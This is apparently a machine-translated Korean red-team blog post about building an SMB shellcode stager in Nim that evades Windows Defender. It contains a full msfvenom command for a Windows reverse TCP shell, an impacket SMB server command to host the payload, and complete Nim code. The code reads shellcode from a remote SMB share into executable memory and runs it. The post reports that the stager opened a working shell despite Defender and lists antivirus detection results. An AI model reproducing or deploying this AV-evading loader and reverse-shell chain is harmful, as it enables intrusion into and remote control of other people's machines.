Nim에서 SMB 스테이저 개발
안녕하세요, 레드팀 여러분. 나는 최근 공격적인 코딩을 위해 Nim과 연락하기 시작했습니다. 솔직히 말해서 어렵고 이상하지만 작동합니다!
현재 우리는 테스트 당시 Windows Defender를 우회하여 간단한 SMB 스테이저를 개발하고 있습니다.
읽기보다 동영상 시청을 선호하는 경우 여기에서 전체 동영상을 찾을 수 있습니다.https://youtu.be/qq-S2syksL0
또한 Cybersec 지식과 경험을 공유하기 위해 Open Discord에 가입하는 데 관심이 있다면 환영합니다.https://discord.gg/dWCe5ZMvtQ
갑시다
이론은 매우 간단합니다. 아이디어는 파일에 쉘코드를 작성하지 않고 서명 기반 탐지를 우회하는 동시에 휴리스틱을 지원하는 것입니다. 처음에는 HTTP로 쉘코드를 다운로드하려고 시도했지만 많은 문제에 부딪혀 스스로 해결할 수 없었습니다. 그런 다음 방법론이 약간 변경되었습니다. HTTP에서 다운로드하는 대신 페이로드는 SMB 공유에서 호스팅되며 거기에서 직접 읽습니다.
msfvenom 무단계 페이로드를 사용했습니다.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f raw -o code.bin
impacket-smbserver smb . -ts -debug -smb2support
import winim/lean
var filename = "\\\\192.168.153.128\\smb\\code.bin"
var file: File = open(filename, fmRead)
var fileSize = file.getFileSize()
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close
echo shellcode
echo fileSize
echo sizeof(shellcode)
type
buf* = LPVOID
var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()
먼저 Windows API를 호출할 수 있도록 Windows 커널 라이브러리를 가져와야 합니다.
import winim/lean
var filename = "\\\\192.168.153.128\\smb\\code.bin"
var file: File = open(filename, fmRead)
var fileSize = file.getFileSize()
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close
type
buf* = LPVOID
var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()
테스트 시간!
나는 2가지 테스트를 수행했다. 첫 번째는 Defender UP 및 RUNNING이 있는 Windows 10 클라이언트에 대한 것입니다. 두 번째는 antiscan.me 인터페이스에 대한 것입니다.
님 스테이저 대 윈도우 디펜더
테스트 1은 스테이저를 파일 시스템에 드롭하는 것으로 시작합니다. 지금까지 아무 것도 트리거되지 않았습니다. 즉, 서명 기반 탐지를 성공적으로 우회했습니다. 이제 실행하고 관찰해 봅시다:

스테이저는 제대로 작동하는 것으로 나타났고 여기서 이상한 점은 Defender가 트리거될 수 있었지만 쉘을 죽이지 않았다는 것입니다.

몇 분 동안 이 셸을 실행했고 완벽하게 작동했습니다. 나는 개인적으로 수비수가 그것을 죽이지 않은 이유에 대한 단서가 없습니다. 답을 알고 있다면 공유해 주셔서 감사합니다.
님 스테이저 vs 안티스캔
오해하지 마세요. 안티스캔은 훌륭하지만 스테이저를 테스트할 때 실제로 유효한 결과를 제시할 방법이 없습니다. 표시되는 결과는 실제 쉘코드를 다운로드할 네트워크 가능성이 없기 때문에 서명 기반 탐지를 기반으로 합니다. 더 많은 AV 공급업체가 실제 테스트에서 이를 파악하기를 기대하지만 이는 좋은 "첫 단계"입니다.
스테이저를 업로드한 후 4/26 공급업체만이 이를 포착할 수 있었습니다.

트리거는 Windows API 호출을 읽는 공급업체를 기반으로 하므로 이를 악의적인 것으로 간주합니다. 물론 정확히 무엇이 잘못되었는지 테스트하려면 많은 테스트를 수행해야 합니다. 그것이 현재 나의 이론이다.
결론
님과 함께 노는 것도 재미있고, 단순히 연출한 결과가 굉장합니다. 물론 우리가 수행할 수 있는 훨씬 더 진보된 AV 바이패싱 기술이 있지만 앞으로 그렇게 할 것입니다. 해당 콘텐츠가 유용하고 새로운 것을 배웠기를 바랍니다.